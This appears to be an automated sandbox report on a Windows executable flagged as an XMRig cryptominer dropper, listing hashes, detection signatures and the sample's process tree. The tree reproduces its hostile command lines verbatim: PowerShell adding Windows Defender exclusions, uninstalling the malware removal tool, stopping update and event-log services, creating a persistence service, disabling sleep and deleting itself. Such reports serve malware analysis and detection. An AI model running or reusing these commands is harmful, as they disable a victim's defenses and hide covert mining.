Analysis
-
max time kernel
90s -
max time network
110s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
17-11-2024 16:16
Static task
static1
Behavioral task
behavioral1
Sample
9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe
Resource
win7-20240903-en
General
-
Target
9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe
-
Size
5.6MB
-
MD5
7a7bae2c1c59101a7b2c9a3d5024afa0
-
SHA1
0003be94c9a8d36fb30bb4e2611b6faf2a11d232
-
SHA256
9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2f
-
SHA512
af99311bcccc2fb727618bb4bdcf3c4064bbfcd6de87b2e47de46119dab5bf4c6527d4bdf365bbfd134015689e9152f9012c51efd63888b8c54d3eade1cb15bf
-
SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/2064-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-30-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2064-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1744 powershell.exe 1668 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
pid Process 1984 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2872 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 3012 powercfg.exe 2700 powercfg.exe 2728 powercfg.exe 2608 powercfg.exe 2676 powercfg.exe 3028 powercfg.exe 2908 powercfg.exe 3008 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2872 set thread context of 2176 2872 fqwofdtexigy.exe 86 PID 2872 set thread context of 2064 2872 fqwofdtexigy.exe 90 -
resource yara_rule behavioral1/memory/2064-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-25-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2064-38-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2704 sc.exe 1800 sc.exe 1460 sc.exe 2868 sc.exe 2936 sc.exe 2768 sc.exe 2744 sc.exe 1768 sc.exe 2112 sc.exe 2556 sc.exe 1948 sc.exe 2580 sc.exe 3032 sc.exe 1040 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f00a57180c39db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 1668 powershell.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2336 9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe 2872 fqwofdtexigy.exe 1744 powershell.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2872 fqwofdtexigy.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe 2064 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1668 powershell.exe Token: SeShutdownPrivilege 2700 powercfg.exe Token: SeShutdownPrivilege 2676 powercfg.exe Token: SeShutdownPrivilege 2728 powercfg.exe Token: SeShutdownPrivilege 2608 powercfg.exe Token: SeDebugPrivilege 1744 powershell.exe Token: SeShutdownPrivilege 3028 powercfg.exe Token: SeShutdownPrivilege 2908 powercfg.exe Token: SeShutdownPrivilege 3012 powercfg.exe Token: SeShutdownPrivilege 3008 powercfg.exe Token: SeLockMemoryPrivilege 2064 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2260 wrote to memory of 2824 2260 cmd.exe 38 PID 2260 wrote to memory of 2824 2260 cmd.exe 38 PID 2260 wrote to memory of 2824 2260 cmd.exe 38 PID 1984 wrote to memory of 2896 1984 cmd.exe 65 PID 1984 wrote to memory of 2896 1984 cmd.exe 65 PID 1984 wrote to memory of 2896 1984 cmd.exe 65 PID 2540 wrote to memory of 1148 2540 cmd.exe 72 PID 2540 wrote to memory of 1148 2540 cmd.exe 72 PID 2540 wrote to memory of 1148 2540 cmd.exe 72 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2176 2872 fqwofdtexigy.exe 86 PID 2872 wrote to memory of 2064 2872 fqwofdtexigy.exe 90 PID 2872 wrote to memory of 2064 2872 fqwofdtexigy.exe 90 PID 2872 wrote to memory of 2064 2872 fqwofdtexigy.exe 90 PID 2872 wrote to memory of 2064 2872 fqwofdtexigy.exe 90 PID 2872 wrote to memory of 2064 2872 fqwofdtexigy.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe"C:\Users\Admin\AppData\Local\Temp\9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2336 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2824
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2704
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2112
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1800
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2936
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2580
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2700
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2728
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2608
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2676
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:2768
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:3032
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2556
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:1460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2fN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2896
-
-
-
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1148
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2868
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2744
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1040
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1948
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1768
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3012
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3008
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2908
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2176
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD57a7bae2c1c59101a7b2c9a3d5024afa0
SHA10003be94c9a8d36fb30bb4e2611b6faf2a11d232
SHA2569d72d75516be44bd45731ca4848194c878411d8f07057bc903df33fa73013e2f
SHA512af99311bcccc2fb727618bb4bdcf3c4064bbfcd6de87b2e47de46119dab5bf4c6527d4bdf365bbfd134015689e9152f9012c51efd63888b8c54d3eade1cb15bf